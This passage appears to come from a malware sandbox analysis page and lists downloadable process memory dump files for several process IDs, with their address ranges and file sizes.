Filesize
32KB

Download
memory/1048-8-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/1048-9-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/1048-10-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/1048-11-0x000007FEF5550000-0x000007FEF5EED000-memory.dmp

Filesize
9.6MB

Download
memory/1048-12-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/1936-0-0x000000013F1B0000-0x000000013F3C1000-memory.dmp

Filesize
2.1MB

Download
memory/1936-29-0x000000013F1B0000-0x000000013F3C1000-memory.dmp

Filesize
2.1MB

Download
memory/1988-36-0x00000000023D0000-0x0000000002450000-memory.dmp

Filesize
512KB

Download
memory/1988-41-0x000007FEF5550000-0x000007FEF5EED000-memory.dmp

Filesize
9.6MB

Download
memory/1988-35-0x000007FEF5550000-0x000007FEF5EED000-memory.dmp

Filesize
9.6MB

Download
memory/1988-38-0x00000000023D0000-0x0000000002450000-memory.dmp

Filesize
512KB

Download
memory/1988-37-0x000007FEF5550000-0x000007FEF5EED000-memory.dmp

Filesize
9.6MB

Download
memory/1988-40-0x00000000023D0000-0x0000000002450000-memory.dmp

Filesize
512KB

Download
memory/1988-39-0x00000000023D0000-0x0000000002450000-memory.dmp

Filesize
512KB

Download
memory/2016-72-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2016-76-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2216-56-0x000007FEF5550000-0x000007FEF5EED000-memory.dmp

Filesize
9.6MB

Download
memory/2216-55-0x0000000001190000-0x0000000001210000-memory.dmp

Filesize
512KB

Download
memory/2216-54-0x000007FEF5550000-0x000007FEF5EED000-memory.dmp

Filesize
9.6MB

Download
memory/2216-58-0x0000000001190000-0x0000000001210000-memory.dmp

Filesize
512KB

Download
memory/2216-59-0x0000000001190000-0x0000000001210000-memory.dmp

Filesize
512KB

Download
memory/2216-57-0x0000000001190000-0x0000000001210000-memory.dmp

Filesize
512KB

Download
memory/2216-60-0x000007FEF5550000-0x000007FEF5EED000-memory.dmp

Filesize
9.6MB

Download
memory/2404-27-0x000007FEF4BB0000-0x000007FEF554D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-26-0x0000000002610000-0x0000000002690000-memory.dmp

Filesize
512KB

Download
memory/2404-24-0x0000000002610000-0x0000000002690000-memory.dmp

Filesize
512KB

Download
memory/2404-25-0x0000000002610000-0x0000000002690000-memory.dmp

Filesize
512KB

Download
memory/2404-23-0x000007FEF4BB0000-0x000007FEF554D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-20-0x00000000023D0000-0x00000000023D8000-memory.dmp

Filesize
32KB

Download
memory/2404-22-0x0000000002610000-0x0000000002690000-memory.dmp

Filesize
512KB

Download
memory/2404-21-0x000007FEF4BB0000-0x000007FEF554D000-memory.dmp

Filesize
9.6MB

Download
memory/2404-19-0x000000001B070000-0x000000001B352000-memory.dmp

Filesize
2.9MB

Download